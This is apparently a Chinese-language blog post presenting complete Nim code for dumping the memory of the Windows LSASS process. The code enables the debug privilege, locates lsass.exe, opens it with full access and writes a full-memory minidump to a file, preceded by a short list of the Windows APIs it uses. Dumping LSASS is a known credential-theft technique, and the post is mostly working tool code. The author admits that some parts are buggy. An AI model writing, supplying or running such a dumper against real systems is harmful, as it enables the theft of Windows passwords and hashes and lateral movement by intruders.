nim版-简易转储lsass.dmp

一、简单概述一下编写逻辑

权限提升 将当前程序的权限句柄调为可调试其他进程的权限
查找 lsass.exe 进程 id 
返回判断成功就继续 没找到就退出程序
打开一个写入的文件 
MiniDumpWriteDump 函数转储出来 写入 

二、使用到的一些winapi 简述一下

1、提升debug权限

OpenProcessToken  打开进程令牌
LookupPrivilegeValue 检索suid 开启调试其他进程的权限
AdjustTokenPrivileges 启用访问令牌特权

2、获取lsass进程id

CreateToolhelp32Snapshot 获取当前进程快照 返回当前进程快照的打开句柄
Process32First 查找系统快照第一个进程 Process32Next 查找下一个系统快照下一个进程

3、获取lsass的进程句柄

OpenProcess 获取指定进程的句柄

4、打开文件并进行转储

open 操控文件的函数
MiniDumpWriteDump 将转储信息写入文件

三、完整代码

import winim
proc EnableDebugPriv():bool=
    var 
        hToken:HANDLE 
        luid:LUID
        tokenPriv:TOKEN_PRIVILEGES
    defer: CloseHandle(hToken)        
    if not bool(OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES,&hToken)): #打开进程令牌 
        echo "get token error"
        return false
    if not bool(LookupPrivilegeValue(nil, SE_DEBUG_NAME, &luid)):#检索suid 开启调试其他进程的权限
        echo "Lookup SE_DEBUG_NAME error"
        return false
    tokenPriv.PrivilegeCount = 1
    tokenPriv.Privileges[0].Luid = luid
    tokenPriv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED
    if not bool(AdjustTokenPrivileges(hToken, false, &tokenPriv, cast[DWORD](sizeof(tokenPriv)), nil, nil)):#启用访问令牌特权
        echo "error"
    return true        
proc to_string(szExeFile:openArray[WCHAR]):string=
    #var ret_string:string=""
    for i in szExeFile:
        if(char(i)=='\0'):
            break
        result.add(char(i))
    #return ret_string
proc get_lsass_pid(find_procss:string):DWORD=
    echo("start get lsass pid")
    #proc CreateToolhelp32Snapshot(dwFlags: DWORD; th32ProcessID: DWORD): HANDLE
    var 
        Snapshot_ret : HANDLE
        dwFlags = DWORD TH32CS_SNAPPROCESS
        th32ProcessID = DWORD TH32CS_SNAPALL
        lppe : PROCESSENTRY32 
        error : string
        process_name : string
    Snapshot_ret = CreateToolhelp32Snapshot(dwFlags,th32ProcessID)#获取当前进程快照 返回当前进程快照的打开句柄
    defer: CloseHandle(Snapshot_ret)#关闭句柄 推迟关闭
    if(Snapshot_ret!=INVALID_HANDLE_VALUE):
        echo("打开成功 快照句柄为",Snapshot_ret)
        lppe.dwSize=cast[DWORD](sizeof(lppe))
        #proc Process32First(hSnapshot: HANDLE; lppe: LPPROCESSENTRY32W): WINBOOL
        if(Process32First(Snapshot_ret,&lppe)): #查找系统快照第一个进程       
            while Process32Next(Snapshot_ret,&lppe): #查找下一个系统快照下一个进程
                #process_name=`$$`(lppe.szExeFile)
                process_name=tostring(lppe.szExeFile)
                if(process_name==find_procss):
                     result=lppe.th32ProcessID
        else:    
            error="Process32First"
            echo("error for ",error)
            result = -1
    else:
        error="CreateToolhelp32Snapshot"
        echo("error for ",error)
        result = -1

when isMainModule:
    var
        find_procss:string
        procss_ret_pid:DWORD
    if not EnableDebugPriv():
        echo "error for EnableDebugPriv"
    procss_ret_pid = get_lsass_pid(find_procss="lsass.exe")
    if(procss_ret_pid == -1):
        echo("get ",find_procss," pid error")
        quit(-1)
    echo("find ",find_procss," pid is ",procss_ret_pid)

    var
        dwDesiredAccess=DWORD PROCESS_ALL_ACCESS
    #proc OpenProcess(dwDesiredAccess: DWORD; bInheritHandle: WINBOOL;dwProcessId: DWORD): HANDLE        
    var procss_jb=OpenProcess(dwDesiredAccess,false,procss_ret_pid)
    if not bool(procss_jb):
        echo("noAuthority")
        quit(-1)        

    var fs = open(r"proc.dump", fmWrite) #准备写入的文件
    var MiniDumpWithFullMemory=0x00000002
    if not bool(MiniDumpWriteDump(procss_jb,procss_ret_pid,fs.getOsFileHandle(),cast[MINIDUMP_TYPE](MiniDumpWithFullMemory),nil,nil,nil)):
        echo("error is MiniDumpWriteDump")

  

代码水平较低 错误可能也比较多 学习使用 可能有很多错误望指正

posted @ 2021-10-16 20:45  Catking-Ctl  阅读(234)  评论(2编辑  收藏  举报